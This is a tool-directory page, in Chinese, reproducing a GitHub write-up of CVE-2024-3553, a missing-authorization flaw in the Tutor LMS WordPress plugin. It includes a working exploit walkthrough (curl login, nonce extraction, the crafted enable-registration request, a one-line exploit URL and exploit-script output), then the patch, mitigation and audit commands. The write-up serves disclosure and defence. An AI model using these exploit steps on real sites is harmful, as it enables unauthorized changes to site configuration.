Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-3553 — CVE-2024-3553: Tutor LMS <= 2.6.2 - Missing Authorization vulnerability allowing authenticated attackers to enable user registration | Kitploit
工具/GitHubGitHub/randomrobbiebf/cve-2024-3553
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubrandomrobbiebf/cve-2024-3553

CVE-2024-3553

CVE-2024-3553: Tutor LMS <= 2.6.2 - Missing Authorization vulnerability allowing authenticated attackers to enable user registration

查看仓库
7个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-3553

Tutor LMS <= 2.6.2 - 缺失授权导致未经验证的有限选项更新

Tutor LMS – 适用于WordPress的在线学习和在线课程解决方案插件,在其所有版本(包括2.6.2及之前版本)中,由于hide_notices()函数缺少权限检查,导致数据可被未经授权修改。这使得经过身份验证的攻击者(包括订阅者等低权限用户)能够在管理员可能已禁用的站点上启用用户注册。

详情

  • 类型: 插件
  • 别名: tutor
  • 受影响版本: 2.6.2
  • CVSS评分: 6.5
  • CVSS等级: 中等
  • CVSS向量: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
  • CVE: CVE-2024-3553
  • 状态: 活跃

POC

自动化利用

提供了完整的Python利用脚本:exploit-cve-2024-3553-v2.py

root@kitploit:~
# 全自动化利用
python3 exploit-cve-2024-3553-v2.py https://target.com --username subscriber --password password123

# 仅检查注册状态
python3 exploit-cve-2024-3553-v2.py https://target.com --check-only

手动利用

前提条件:

  • 任意经过身份验证的账户(订阅者、贡献者等)
  • 已安装并激活Tutor LMS插件

步骤1:以低权限用户登录

root@kitploit:~
# 以订阅者或任意经过身份验证的用户身份登录
curl -c cookies.txt -d "log=subscriber&pwd=password123" \
  https://target.com/wp-login.php

步骤2:从管理区域提取Nonce

root@kitploit:~
# 任意经过身份验证的用户都可以访问 /wp-admin/(即使是订阅者也可)
curl -b cookies.txt https://target.com/wp-admin/ | grep -o '_wpnonce=[^"&]*' | head -1

步骤3:执行利用

root@kitploit:~
# 发送请求以启用用户注册
curl -b cookies.txt \
  "https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=NONCE_HERE"

步骤4:验证成功

root@kitploit:~
# 检查注册是否已启用
curl https://target.com/wp-login.php?action=register | grep -q "user_login" && echo "Registration ENABLED" || echo "Registration DISABLED"

单行利用

root@kitploit:~
# 作为任意经过身份验证的用户,只需访问:
https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=<NONCE>

示例输出

root@kitploit:~
======================================================================
CVE-2024-3553 Exploit - Tutor LMS 缺失授权
目标: https://target.com
======================================================================

[*] 正在检查当前注册状态...
[+] 当前注册已禁用

[*] 正在尝试以用户身份登录: subscriber
[+] 已成功以用户身份登录: subscriber

[*] 步骤2:正在从管理区域提取nonce...
[+] 找到nonce: abc123def456

[*] 步骤3:正在执行利用以启用用户注册...
[*] 目标: https://target.com
[*] 使用的nonce: abc123def456
[*] 利用URL: https://target.com/wp-admin/index.php
[*] 参数: {'tutor-hide-notice': 'registration', 'tutor-registration': 'enable', '_wpnonce': 'abc123def456'}
[*] 响应状态: 200
[+] 利用请求已成功发送!

[*] 步骤4:正在验证利用成功...
[+] 当前注册已启用

======================================================================
[!] 利用成功!
[!] 用户注册现已启用
[!]
[!] 影响:拥有低权限账户(订阅者)的攻击者
[!] 能够在已禁用注册的站点上启用用户注册。
[!] 这可能导致创建额外账户,进而引发垃圾信息或未经授权的访问。
======================================================================

漏洞代码

文件: /classes/User.php(约第800-815行)

root@kitploit:~
public function hide_notices() {
    $hide_notice         = Input::get( 'tutor-hide-notice', '' );
    $is_register_enabled = Input::get( 'tutor-registration', '' );

    // 关键缺陷:is_admin() 仅检查是否在管理区域,而非用户角色!
    if ( is_admin() && 'registration' === $hide_notice ) {
        tutor_utils()->checking_nonce( 'get' );

        if ( 'enable' === $is_register_enabled ) {
            // 未进行权限检查 - 任意经过身份验证的用户均可执行此操作!
            update_option( 'users_can_register', 1 );
        } else {
            self::$hide_registration_notice = true;
            setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
        }
    }
}

关键漏洞点:

  1. is_admin() 仅验证请求是否指向管理页面,而非验证用户是否为管理员
  2. 任意经过身份验证的用户均可访问 /wp-admin/(即使是订阅者)
  3. Nonce 检查验证了请求是故意的,但未验证用户是否具有适当权限
  4. 缺失: current_user_can('manage_options') 权限检查
  5. 这使得任意经过身份验证的用户能够修改 users_can_register 选项

补丁(v2.7.0)

文件: /classes/User.php(已修补版本)

root@kitploit:~
public function hide_notices() {
    $hide_notice         = Input::get( 'tutor-hide-notice', '' );
    $is_register_enabled = Input::get( 'tutor-registration', '' );

    // 安全修复:添加了权限检查
    $has_manage_cap = current_user_can( 'manage_options' );

    if ( $has_manage_cap && is_admin() && 'registration' === $hide_notice ) {
        tutor_utils()->checking_nonce( 'get' );

        if ( 'enable' === $is_register_enabled ) {
            update_option( 'users_can_register', 1 );  // 现在已得到适当保护
        } else {
            self::$hide_registration_notice = true;
            setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
        }
    }
}

该补丁添加了 current_user_can('manage_options') 以验证用户拥有管理员权限,然后才允许更新选项。

影响

  • 中等严重性:虽然不会直接危害站点,但此漏洞允许:
    • 绕过管理控制
    • 在加固/私有站点上启用用户注册
    • 可能导致垃圾账户创建
    • 绕过站点安全策略
    • 未经授权修改站点配置

根本原因分析

常见的WordPress安全错误

此漏洞展示了WordPress授权函数的关键误解:

错误 ❌:

root@kitploit:~
if ( is_admin() ) {
    // 误以为此处意味着“用户是管理员”
    update_option( 'sensitive_option', $value );
}

正确 ✅:

root@kitploit:~
if ( current_user_can( 'manage_options' ) ) {
    // 实际检查用户是否具有管理员权限
    update_option( 'sensitive_option', $value );
}

函数对比

函数实际检查内容安全用途

需要纵深防御

正确的WordPress安全需要多层防护:

  1. Nonce验证 - 防止CSRF攻击
  2. 权限检查 - 确保适当的授权
  3. 输入过滤 - 防止注入攻击

缺失其中任一层次都可能导致漏洞。

缓解措施

针对站点管理员:

立即将Tutor LMS更新至2.7.0或更高版本:

root@kitploit:~
# 通过WP-CLI
wp plugin update tutor --version=2.7.0

# 通过WordPress管理后台
仪表盘 → 插件 → 找到“Tutor LMS” → 点击“现在更新”

审计近期更改:

root@kitploit:~
# 检查注册设置是否最近被修改
wp option get users_can_register

# 查看近期用户注册记录
wp user list --orderby=registered --order=DESC --number=20

安全教训

针对开发人员

  1. 切勿仅依赖 is_admin() 进行授权
  2. 始终使用 current_user_can() 进行权限检查
  3. 将Nonce验证与权限检查结合使用
  4. 遵循WordPress编码规范以确保安全
  5. 在开发过程中使用低权限账户进行测试

测试方法

审计WordPress插件授权问题时:

root@kitploit:~
# 1. 搜索 is_admin() 而未附带权限检查
grep -r "is_admin()" . | grep -v "current_user_can"

# 2. 查找直接更新选项的代码
grep -r "update_option\|add_option" .

# 3. 查找未附带权限检查的AJAX处理程序
grep -r "wp_ajax_" . -A 10 | grep -v "current_user_can"

参考资料

  • Wordfence咨询: https://www.wordfence.com/threat-intel/vulnerabilities/id/f8d4029e-07b0-4ceb-ae6e-11a3f7416ebc?source=cve
  • WordPress Trac补丁: https://plugins.trac.wordpress.org/changeset/3076302/tutor/tags/2.7.0/classes/User.php
  • WordPress权限参考: https://wordpress.org/documentation/article/roles-and-capabilities/
  • WPScan条目: https://wpscan.com/vulnerability/cve-2024-3553

本仓库文件

  • README.md - 本文件
  • exploit-cve-2024-3553.py - 基础Python利用脚本
  • exploit-cve-2024-3553-v2.py - 增强版Python利用脚本(含详细文档)
  • manual-exploit-cve-2024-3553.sh - 手动利用脚本
  • test-cve-2024-3553-direct.sh - 直接验证测试脚本

发现日期: 2024-04-15 公开日期: 2024-05-20 修补日期: 2024-05-21 (v2.7.0) 测试日期: 2025-12-26 分类: 成功漏洞验证

下载工具
is_admin()当前URL是否在 /wp-admin/ 内❌ 不用于授权
current_user_can()用户是否具有特定权限✅ 适当的授权检查
wp_verify_nonce()请求是否是故意的(CSRF防护)✅ 但单独使用不足以保障安全